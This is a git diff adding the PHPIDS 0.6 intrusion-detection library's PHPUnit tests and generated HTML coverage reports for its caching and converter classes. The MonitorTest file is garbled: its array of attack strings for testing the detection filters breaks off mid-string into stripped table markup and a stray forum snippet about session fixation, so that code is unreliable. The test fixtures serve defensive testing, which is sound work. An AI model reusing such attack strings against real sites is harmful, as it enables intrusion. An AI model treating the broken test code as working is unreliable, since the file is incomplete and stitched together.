new IDS_Event("key_a", 'val_b', + array( + new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), + new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) + ) + ), + new IDS_Event('key_b', 'val_b', + array( + new IDS_Filter(1, '^test_b1$', 'desc_b1', array('tag_b1', 'tag_b2'), 3), + new IDS_FIlter(1, '^test_b2$', 'desc_b2', array('tag_b2', 'tag_b3'), 4), + ) + ) + )); + + $this->path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini'; + $this->init = IDS_Init::init($this->path); + } + + public function testEventConstructorExceptions1() { + $this->setExpectedException('InvalidArgumentException'); + new IDS_Event(array(1,2), 'val_b', + array( + new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), + new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) + ) + ); + } + + public function testEventConstructorExceptions2() { + $this->setExpectedException('InvalidArgumentException'); + new IDS_Event("key_a", array(1,2), + array( + new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), + new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) + ) + ); + } + + public function testEventConstructorExceptions3() { + $this->setExpectedException('InvalidArgumentException'); + new IDS_Event("key_a", 'val_b', array(1,2)); + } + + public function testGetEventException() { + $this->setExpectedException('InvalidArgumentException'); + $this->assertEquals($this->report->getEvent(array(1,2,3)), $this->getExpectedException()); + } + + public function testHasEventException() { + $this->setExpectedException('InvalidArgumentException'); + $this->assertEquals($this->report->hasEvent(array(1,2,3)), $this->getExpectedException()); + } + + public function testInitConfigWrongPathException() { + $this->setExpectedException('Exception'); + $this->assertEquals(IDS_Init::init('IDS/Config/Config.ini.wrong'), $this->getExpectedException()); + } + + public function testWrongXmlFilterPathException() { + $this->setExpectedException('Exception'); + $this->init->config['General']['filter_type'] = 'xml'; + $this->init->config['General']['filter_path'] = 'IDS/wrong_path'; + $this->assertEquals(new IDS_Monitor(array('test', 'bla'), $this->init), $this->getExpectedException()); + } + + public function tearDown() { + $this->init->config['General']['filter_type'] = 'xml'; + } +} + +/** + * Local variables: + * tab-width: 4 + * c-basic-offset: 4 + * End: + * vim600: sw=4 ts=4 expandtab + */ diff --git a/external/phpids/0.6/tests/IDS/FilterTest.php b/external/phpids/0.6/tests/IDS/FilterTest.php new file mode 100644 index 000000000..4d284cd7c --- /dev/null +++ b/external/phpids/0.6/tests/IDS/FilterTest.php @@ -0,0 +1,97 @@ +path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini'; + $this->init = IDS_Init::init($this->path); + } + + public function testObjectConstruction() + { + $filter = new IDS_Filter(1, '^test$', 'My description', array('foo', 'bar'), 12); + + $this->assertTrue($filter->match('test')); + $this->assertEquals("My description", $filter->getDescription(), "Should return description"); + $this->assertEquals(array("foo", "bar"), $filter->getTags(), "Should return array/list of tags"); + $this->assertEquals('^test$', $filter->getRule()); + $this->assertEquals(12, $filter->getImpact()); + } + + public function testModificator() + { + $filter = new IDS_Filter(1, '^te.st$', 'My description', array('tag1', 'tag2'), 1); + + // Default must be + // ... case-insensitive + $this->assertTrue($filter->match('TE1ST')); + // ... dot all (\n is matched by .) + $this->assertTrue($filter->match("TE\nST")); + // .. "$" is end only #has changed since modifiers are ims + $this->assertTrue($filter->match("TE1ST\n")); + + } + + public function testExceptions() + { + $filter = new IDS_Filter(1, '^test$', 'My description', array('foo', 'bar'), 10); + + try { + $filter->match(1); + $this->fail("Expected Exception"); + } catch (Exception $e) {} + + + try { + $filter = new IDS_Filter(1, '^test$', 'my desc', array('foo'), 'test'); + $this->fail("Expected Exception"); + } catch (Exception $e) {} + + try { + $filter = new IDS_Filter(1, 1, 'my desc', array("foo"), 'bla'); + $this->fail("Excpected Exception"); + } catch (Exception $e) {} + + } + + public function testFilterSetFilterSet() { + + $this->init->config['General']['filter_type'] = 'xml'; + $this->init->config['General']['filter_path'] = dirname(__FILE__) . '/../../lib/IDS/default_filter.xml'; + $this->storage = new IDS_Filter_Storage($this->init); + $filter = array(); + $filter[] = new IDS_Filter(1, 'test', 'test2', array(), 1); + $this->assertTrue($this->storage->setFilterSet($filter) instanceof IDS_Filter_Storage); + } +} + +/** + * Local variables: + * tab-width: 4 + * c-basic-offset: 4 + * End: + * vim600: sw=4 ts=4 expandtab + */ diff --git a/external/phpids/0.6/tests/IDS/InitTest.php b/external/phpids/0.6/tests/IDS/InitTest.php new file mode 100644 index 000000000..cf95eb6b0 --- /dev/null +++ b/external/phpids/0.6/tests/IDS/InitTest.php @@ -0,0 +1,90 @@ +path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini'; + $this->init = IDS_Init::init($this->path); + } + + function testInit() { + $this->assertTrue($this->init instanceof IDS_Init); + } + + function testInitConfig() { + $keys = array('General', 'Logging', 'Caching'); + $this->assertEquals($keys, array_keys($this->init->config)); + } + + function testInitClone() { + $config2 = clone $this->init; + $this->assertEquals($config2, $this->init); + } + + function testInitGetConfigPath() { + $this->assertEquals($this->init->getConfigPath(), $this->path); + } + + function testInitSetConfigOverwrite() { + $this->init->setConfig(array('General' => array('filter_type' => 'json')), true); + $this->assertEquals($this->init->config['General']['filter_type'], 'json'); + + $this->init->setConfig( + array('General' => array('exceptions' => array('foo'))), + true + ); + $this->assertSame( + array('foo', '__utmc'), + $this->init->config['General']['exceptions'] + ); + } + + function testInitSetConfigNoOverwrite() { + $this->init->setConfig(array('General' => array('filter_type' => 'xml')), true); + $this->init->setConfig(array('General' => array('filter_type' => 'json'))); + $this->assertEquals($this->init->config['General']['filter_type'], 'xml'); + } + + function testInitGetConfig() { + $data = $this->init->getConfig(); + $this->assertEquals($this->init->config, $data); + } + + function testInstanciatingInitObjectWithoutPassingConfigFile() + { + $init = IDS_Init::init(); + $this->assertType('IDS_Init', $init); + $this->assertSame($init, IDS_Init::init()); + } +} + +/** + * Local variables: + * tab-width: 4 + * c-basic-offset: 4 + * End: + * vim600: sw=4 ts=4 expandtab + */ diff --git a/external/phpids/0.6/tests/IDS/MonitorTest.php b/external/phpids/0.6/tests/IDS/MonitorTest.php new file mode 100644 index 000000000..f32850e6c --- /dev/null +++ b/external/phpids/0.6/tests/IDS/MonitorTest.php @@ -0,0 +1,1389 @@ +init = IDS_Init::init($path); + $this->init->config['General']['filter_path'] = dirname(__FILE__) . '/../../lib/IDS/default_filter.xml'; + $this->init->config['General']['tmp_path'] = dirname(__FILE__) . '/../../lib/IDS/tmp'; + $this->init->config['Caching']['path'] = dirname(__FILE__) . '/../../lib/IDS/tmp/default_filter.cache'; + } + + public function testGetHTML() { + $test = new IDS_Monitor( + array('user' => 'admin
copytext
'; + $exploits['html_7'] = '| Test |
|---|
| test |
+  FEEDBACK on my thesis on Session Management: SESSION FIXATION
+ |
+ 81 | +1 | +euronymous | +
+ 06/01/2008 04:05AM + Last Post by euronymous + |
+
copytext
+bodytext © 2008
| PHPIDS | ||||
 | ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +3 / 3 | +
+
|
+ 100.00% | +10 / 10 | +
+
|
+ 87.50% | +63 / 72 | +|||
| + | ||||||||||||
| Factory.php | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +17 / 17 | +|||
| File.php | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +
+
|
+ 77.50% | +31 / 40 | +|||
| Interface.php | +
+
|
+ 100.00% | +0 / 0 | +
+
|
+ 100.00% | +0 / 0 | +
+
|
+ 100.00% | +1 / 1 | +|||
| Session.php | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +
+
|
+ 100.00% | +14 / 14 | +|||
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +17 / 17 | +|||
| + | ||||||||||||
| IDS_Caching | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +17 / 17 | +|||
| public static function factory($init, $type) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +17 / 17 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * Caching factory + 36 : * + 37 : * This class is used as a factory to load the correct concrete caching + 38 : * implementation. + 39 : * + 40 : * @category Security + 41 : * @package PHPIDS + 42 : * @author Christian Matthies <ch0012@gmail.com> + 43 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 44 : * @author Lars Strojny <lars@strojny.net> + 45 : * @copyright 2007 The PHPIDS Group + 46 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 47 : * @version Release: $Id:Factory.php 517 2007-09-15 15:04:13Z mario $ + 48 : * @link http://php-ids.org/ + 49 : * @since Version 0.4 + 50 : */ + 51 : class IDS_Caching + 52 : { + 53 : + 54 : /** + 55 : * Factory method + 56 : * + 57 : * @param array $init the IDS_Init object + 58 : * @param string $type the caching type + 59 : * + 60 : * @return object the caching facility + 61 : */ + 62 : public static function factory($init, $type) + 63 : { + 64 : + 65 50 : $object = false; + 66 50 : $wrapper = preg_replace( + 67 50 : '/\W+/m', + 68 50 : null, + 69 50 : ucfirst($init->config['Caching']['caching']) + 70 50 : ); + 71 50 : $class = 'IDS_Caching_' . $wrapper; + 72 50 : $path = dirname(__FILE__) . DIRECTORY_SEPARATOR . + 73 50 : $wrapper . '.php'; + 74 : + 75 50 : if (file_exists($path)) { + 76 49 : include_once $path; + 77 : + 78 49 : if (class_exists($class)) { + 79 49 : $object = call_user_func(array($class, 'getInstance'), + 80 49 : $type, $init); + 81 49 : } + 82 49 : } + 83 : + 84 50 : return $object; + 85 : } + 86 : } + 87 : + 88 : /* + 89 : * Local variables: + 90 : * tab-width: 4 + 91 : * c-basic-offset: 4 + 92 : * End: + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +
+
|
+ 77.50% | +31 / 40 | +|||
| + | ||||||||||||
| IDS_Caching_File | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +
+
|
+ 76.92% | +30 / 39 | +|||
| public function __construct($type, $init) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 62.50% | +5 / 8 | +||||||
| public static function getInstance($type, $init) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +||||||
| public function setCache(array $data) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 71.43% | +10 / 14 | +||||||
| public function getCache() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +5 / 5 | +||||||
| protected function readFile($filename) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 71.43% | +5 / 7 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 1 : require_once 'IDS/Caching/Interface.php'; + 35 : + 36 : /** + 37 : * File caching wrapper + 38 : * + 39 : * This class inhabits functionality to get and set cache via a static flatfile. + 40 : * + 41 : * @category Security + 42 : * @package PHPIDS + 43 : * @author Christian Matthies <ch0012@gmail.com> + 44 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 45 : * @author Lars Strojny <lars@strojny.net> + 46 : * @copyright 2007 The PHPIDS Group + 47 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 48 : * @version Release: $Id:File.php 517 2007-09-15 15:04:13Z mario $ + 49 : * @link http://php-ids.org/ + 50 : * @since Version 0.4 + 51 : */ + 52 1 : class IDS_Caching_File implements IDS_Caching_Interface + 53 : { + 54 : + 55 : /** + 56 : * Caching type + 57 : * + 58 : * @var string + 59 : */ + 60 : private $type = null; + 61 : + 62 : /** + 63 : * Cache configuration + 64 : * + 65 : * @var array + 66 : */ + 67 : private $config = null; + 68 : + 69 : /** + 70 : * Path to cache file + 71 : * + 72 : * @var string + 73 : */ + 74 : private $path = null; + 75 : + 76 : /** + 77 : * Holds an instance of this class + 78 : * + 79 : * @var object + 80 : */ + 81 : private static $cachingInstance = null; + 82 : + 83 : /** + 84 : * Constructor + 85 : * + 86 : * @param string $type caching type + 87 : * @param array $init the IDS_Init object + 88 : * + 89 : * @return void + 90 : */ + 91 : public function __construct($type, $init) + 92 : { + 93 : + 94 1 : $this->type = $type; + 95 1 : $this->config = $init->config['Caching']; + 96 1 : $this->path = $init->getBasePath() . $this->config['path']; + 97 : + 98 1 : if (file_exists($this->path) && !is_writable($this->path)) { + 99 0 : throw new Exception('Make sure all files in ' . + 100 0 : htmlspecialchars($this->path, ENT_QUOTES, 'UTF-8') . + 101 0 : 'are writeable!'); + 102 : } + 103 1 : } + 104 : + 105 : /** + 106 : * Returns an instance of this class + 107 : * + 108 : * @param string $type caching type + 109 : * @param array $init the IDS_Init object + 110 : * + 111 : * @return object $this + 112 : */ + 113 : public static function getInstance($type, $init) + 114 : { + 115 45 : if (!self::$cachingInstance) { + 116 1 : self::$cachingInstance = new IDS_Caching_File($type, $init); + 117 1 : } + 118 : + 119 45 : return self::$cachingInstance; + 120 : } + 121 : + 122 : /** + 123 : * Writes cache data into the file + 124 : * + 125 : * @param array $data the cache data + 126 : * + 127 : * @throws Exception if cache file couldn't be created + 128 : * @return object $this + 129 : */ + 130 : public function setCache(array $data) + 131 : { + 132 44 : if (!is_writable(preg_replace('/[\/][^\/]+\.[^\/]++$/', null, + 133 44 : $this->path))) { + 134 0 : throw new Exception('Temp directory ' . + 135 0 : htmlspecialchars($this->path, ENT_QUOTES, 'UTF-8') . + 136 0 : ' seems not writable'); + 137 : } + 138 : + 139 44 : if ((!file_exists($this->path) || (time()-filectime($this->path)) > + 140 44 : $this->config['expiration_time'])) { + 141 3 : $handle = @fopen($this->path, 'w+'); + 142 : + 143 3 : if (!$handle) { + 144 0 : throw new Exception("Cache file couldn't be created"); + 145 : } + 146 : + 147 3 : fwrite($handle, serialize($data)); + 148 3 : fclose($handle); + 149 3 : } + 150 : + 151 44 : return $this; + 152 : } + 153 : + 154 : /** + 155 : * Returns the cached data + 156 : * + 157 : * Note that this method returns false if either type or file cache is + 158 : * not set + 159 : * + 160 : * @return mixed cache data or false + 161 : */ + 162 : public function getCache() + 163 : { + 164 : + 165 : // make sure filters are parsed again if cache expired + 166 43 : if (file_exists($this->path) && (time()-filectime($this->path)) < + 167 43 : $this->config['expiration_time']) { + 168 42 : $data = unserialize($this->readFile($this->path)); + 169 42 : return $data; + 170 : } + 171 : + 172 1 : return false; + 173 : } + 174 : + 175 : /** + 176 : * Read file and stripslashes if required + 177 : * + 178 : * @param string $filename Name of the file to read + 179 : * @return string + 180 : */ + 181 : protected function readFile($filename) + 182 : { + 183 42 : @set_magic_quotes_runtime(0); + 184 42 : $content = file_get_contents($filename); + 185 42 : if (function_exists('get_magic_quotes_runtime') and + 186 42 : get_magic_quotes_runtime()) { + 187 : + 188 0 : $content = stripslashes($content); + 189 0 : } + 190 42 : return $content; + 191 : } + 192 : } + 193 : + 194 : /* + 195 : * Local variables: + 196 : * tab-width: 4 + 197 : * c-basic-offset: 4 + 198 : * End: + 199 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +0 / 0 | +
+
|
+ 100.00% | +0 / 0 | +
+
|
+ 100.00% | +1 / 1 | +|||
| + | ||||||||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * Caching wrapper interface + 36 : * + 37 : * @category Security + 38 : * @package PHPIDS + 39 : * @author Christian Matthies <ch0012@gmail.com> + 40 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 41 : * @author Lars Strojny <lars@strojny.net> + 42 : * @copyright 2007 The PHPIDS Group + 43 : * @version SVN: $Id:Interface.php 517 2007-09-15 15:04:13Z mario $ + 44 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 45 : * @since Version 0.4 + 46 : * @link http://php-ids.org/ + 47 : */ + 48 1 : interface IDS_Caching_Interface + 49 : { + 50 : /** + 51 : * Interface method + 52 : * + 53 : * @param array $data the cache data + 54 : * + 55 : * @return void + 56 : */ + 57 : public function setCache(array $data); + 58 : + 59 : /** + 60 : * Interface method + 61 : * + 62 : * @return void + 63 : */ + 64 : public function getCache(); + 65 : } + 66 : + 67 : /* + 68 : * Local variables: + 69 : * tab-width: 4 + 70 : * c-basic-offset: 4 + 71 : * End: + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +
+
|
+ 100.00% | +14 / 14 | +|||
| + | ||||||||||||
| IDS_Caching_Session | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +
+
|
+ 100.00% | +13 / 13 | +|||
| public function __construct($type, $init) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
| public static function getInstance($type, $init) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +||||||
| public function setCache(array $data) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +2 / 2 | +||||||
| public function getCache() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 1 : require_once 'IDS/Caching/Interface.php'; + 35 : + 36 : /** + 37 : * File caching wrapper + 38 : * + 39 : * This class inhabits functionality to get and set cache via session. + 40 : * + 41 : * @category Security + 42 : * @package PHPIDS + 43 : * @author Christian Matthies <ch0012@gmail.com> + 44 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 45 : * @author Lars Strojny <lars@strojny.net> + 46 : * @copyright 2007 The PHPIDS Group + 47 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 48 : * @version Release: $Id:Session.php 517 2007-09-15 15:04:13Z mario $ + 49 : * @link http://php-ids.org/ + 50 : * @since Version 0.4 + 51 : */ + 52 1 : class IDS_Caching_Session implements IDS_Caching_Interface + 53 : { + 54 : + 55 : /** + 56 : * Caching type + 57 : * + 58 : * @var string + 59 : */ + 60 : private $type = null; + 61 : + 62 : /** + 63 : * Cache configuration + 64 : * + 65 : * @var array + 66 : */ + 67 : private $config = null; + 68 : + 69 : /** + 70 : * Holds an instance of this class + 71 : * + 72 : * @var object + 73 : */ + 74 : private static $cachingInstance = null; + 75 : + 76 : /** + 77 : * Constructor + 78 : * + 79 : * @param string $type caching type + 80 : * @param array $init the IDS_Init object + 81 : * + 82 : * @return void + 83 : */ + 84 : public function __construct($type, $init) + 85 : { + 86 1 : $this->type = $type; + 87 1 : $this->config = $init->config['Caching']; + 88 1 : } + 89 : + 90 : /** + 91 : * Returns an instance of this class + 92 : * + 93 : * @param string $type caching type + 94 : * @param array $init the IDS_Init object + 95 : * + 96 : * @return object $this + 97 : */ + 98 : public static function getInstance($type, $init) + 99 : { + 100 : + 101 4 : if (!self::$cachingInstance) { + 102 1 : self::$cachingInstance = new IDS_Caching_Session($type, $init); + 103 1 : } + 104 : + 105 4 : return self::$cachingInstance; + 106 : } + 107 : + 108 : /** + 109 : * Writes cache data into the session + 110 : * + 111 : * @param array $data the caching data + 112 : * + 113 : * @return object $this + 114 : */ + 115 : public function setCache(array $data) + 116 : { + 117 : + 118 3 : $_SESSION['PHPIDS'][$this->type] = $data; + 119 3 : return $this; + 120 : } + 121 : + 122 : /** + 123 : * Returns the cached data + 124 : * + 125 : * Note that this method returns false if either type or file cache is not set + 126 : * + 127 : * @return mixed cache data or false + 128 : */ + 129 : public function getCache() + 130 : { + 131 : + 132 2 : if ($this->type && $_SESSION['PHPIDS'][$this->type]) { + 133 1 : return $_SESSION['PHPIDS'][$this->type]; + 134 : } + 135 : + 136 1 : return false; + 137 : } + 138 : } + 139 : + 140 : /** + 141 : * Local variables: + 142 : * tab-width: 4 + 143 : * c-basic-offset: 4 + 144 : * End: + 145 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +18 / 18 | +
+
|
+ 85.57% | +249 / 291 | +|||
| + | ||||||||||||
| IDS_Converter | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +18 / 18 | +
+
|
+ 85.57% | +249 / 291 | +|||
| public static function runAll($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +6 / 6 | +||||||
| public static function convertFromCommented($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +11 / 11 | +||||||
| public static function convertFromNewLines($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
| public static function convertFromJSCharcode($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +51 / 51 | +||||||
| public static function convertJSRegexModifiers($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +2 / 2 | +||||||
| public static function convertEntities($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public static function convertQuotes($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +3 / 3 | +||||||
| public static function convertFromSQLHex($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +13 / 13 | +||||||
| public static function convertFromSQLKeywords($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +14 / 14 | +||||||
| public static function convertFromControlChars($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +19 / 19 | +||||||
| public static function convertFromNestedBase64($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +10 / 10 | +||||||
| public static function convertFromOutOfRangeChars($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public static function convertFromXML($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +4 / 4 | +||||||
| public static function convertFromJSUnicode($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 36.36% | +4 / 11 | +||||||
| public static function convertFromUTF7($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 17.50% | +7 / 40 | +||||||
| public static function convertConcatenations($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +28 / 28 | +||||||
| public static function convertFromProprietaryEncodings($value) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +13 / 13 | +||||||
| public static function runCentrifuge($value, IDS_Monitor $monitor = NULL) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 95.83% | +46 / 48 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 